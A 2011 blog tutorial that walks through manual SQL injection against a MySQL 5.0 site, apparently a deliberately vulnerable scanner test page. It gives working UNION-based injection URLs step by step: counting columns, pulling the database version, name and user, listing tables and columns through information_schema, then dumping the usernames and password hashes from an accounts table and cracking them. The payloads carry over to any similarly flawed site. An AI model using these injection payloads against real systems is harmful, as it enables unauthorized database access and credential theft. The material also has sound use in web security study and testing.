Saturday, June 25, 2011

MySQL 5.0 --> Should've Used Is_Numeric()

Hello, and welcome to my guide on manual SQL Injection against MySQL 5.0 servers. This will cover basic injection, all the way from finding a vulnerable target to dumping rows of data from a database. You will also use a couple of SQL requests and functions, and actually get a grasp of what a table looks like. Furthermore, every hacker should be able to exploit these vulnerabilities manually, whether it be incorrect type handling or incorrectly filtered escape characters (these types of vulnerabilities are generally what opens the door for injection).


When injection occurs, rows of data are dumped from a column, which is grouped with a bunch of other columns inside a table, which is grouped with a bunch of other tables inside a database, which is grouped with a bunch of other databases inside a server. Whoa! That probably sounded like a bunch of bullshit, huh? Well, you should have a basic understanding by the end of the tutorial. Have you ever seen a spreadsheet? Think of that as a table. Think of a bunch of those as a database.

Firstly, you should make sure you have the prerequisites, just like any other guide I have written. Fortunately for you, all you need is an Internet connection and a web browser. I don't care if you run Linux, Windows, or Mac (eeeewwwww).

Like most of the guides about web application penetration testing, we are going to use the following target-

http://www.webscantest.com/

Just for the hell of it, I'm going to use Linux for this tutorial, just because I feel like it. :D

Now then, the vulnerable page is here-

http://webscantest.com/datastore/search_get_by_id.php?id=4

When you navigate to it, you should see this-













Looks like a normal page, right? Let's test for vulnerability by adding a ' (apostrophe) to the end of the url-

http://webscantest.com/datastore/search_get_by_id.php?id=4'

Here is the output-













Hmm. Looks like we have an SQL error. Now let's think to ourselves for a minute. The error clearly states we have an error in our SQL syntax. If we weren't able to make actual queries to the database, why would we be told to use proper syntax in the first place? This is how we confirm vulnerability, at least to some extent. But what is happening when we add the apostrophe to the end of the URL? Well, in the first screenshot, the id parameter returned a value of 4. When we added an apostrophe, we were assigning a non-numeric value to the id parameter. This means that the parameter is not checking for numeric values. If we can return more than just a number, why not return tables and columns?

Well, let's find our column count. To do this, we will use order by. We will increment by 1 until we get an error.

First type-

http://webscantest.com/datastore/search_get_by_id.php?id=4 order by 1--


No error, right? Let's speed it up now. Instead of incrementing by 1, let's go to 5-


http://webscantest.com/datastore/search_get_by_id.php?id=4 order by 5--

Whoops. We got another syntax error. Well, since we know the column count is less than 5 but greater than 1 (because we didn't get an error on one), let's increment backwards by 1-

http://webscantest.com/datastore/search_get_by_id.php?id=4 order by 4--

Alright, no error. Since we got an error on 5 but not on 4, the column count is 4.

Now we're going to use the union method. This will help us enumerate the database, and also find injectable columns we can use-

http://webscantest.com/datastore/search_get_by_id.php?id=4 union all select 1,2,3,4--

Here is the output-












 All of a sudden we see another little addition to the web page. We see a 1,2, and 3 that weren't there before. Now we have columns to inject. Lets enumerate!

Let's find the version of the database. The column I'm going to inject inside of is 2-

http://webscantest.com/datastore/search_get_by_id.php?id=4 union all select 1,version(),3,4--

Here is my output-












Now, instead of a 2, we see the version of the database. Let's find the name of the database-

http://webscantest.com/datastore/search_get_by_id.php?id=4 union all select 1,database(),3,4--



Instead of a database version, we see the actual name of the database, which is scanme. What about the database user?

http://webscantest.com/datastore/search_get_by_id.php?id=4 union all select 1,user(),3,4--

We now know that the user for the scanme database is scanme@localhost. This kind of information can be useful for further penetration testing of the target. But now we want all of the tables from the database. Since the database version is <= 5.0, we can use information_schema. Information_schema is pretty much the information database, which stores information about all the other databases maintained by the MySQL server. Let's try it-

http://webscantest.com/datastore/search_get_by_id.php?id=4 union all select 1,table_name,3,4 from information_schema.tables--

Here is the output-












Most of the tables we see appear are for the information_schema database. But we see two that look out of the ordinary in comparison to the others when we scroll to the bottom of the page, as seen in the output- accounts and inventory. We are going to want to dump the columns from the accounts table, because why do we care what they have in stock?

To do this, we need to convert the table name accounts to ascii. You can go online and find a converter, or use a built-in encoder in a tool like WebSlayer. We are going to use the char() function, with the ascii values of each character of the "accounts" table name as the function's parameter. This is how we do it-

http://webscantest.com/datastore/search_get_by_id.php?id=4 union all select 1,column_name,3,4 from information_schema.columns where table_name= char(97,99,99,111,117,110,116,115)


Here is the output-

 










From these columns we are going to dump the data from the uname and passwd columns. Let's do it-

http://webscantest.com/datastore/search_get_by_id.php?id=4 union all select 1,concat(uname,0x3a,passwd),3,4 from accounts--

This MySQL query will give us output like so-














We now have the usernames and passwords stored in the database. These are usually displayed in order of the query we provide, which would be uname:passwd. We have the passwords, true, but they are hashed. Lets crack em!





















As we can see from our lcrack output, the username is admin and the password is admin.

Thus we have successfully exploited the MySQL server.

Happy Hacking!

No comments:

Post a Comment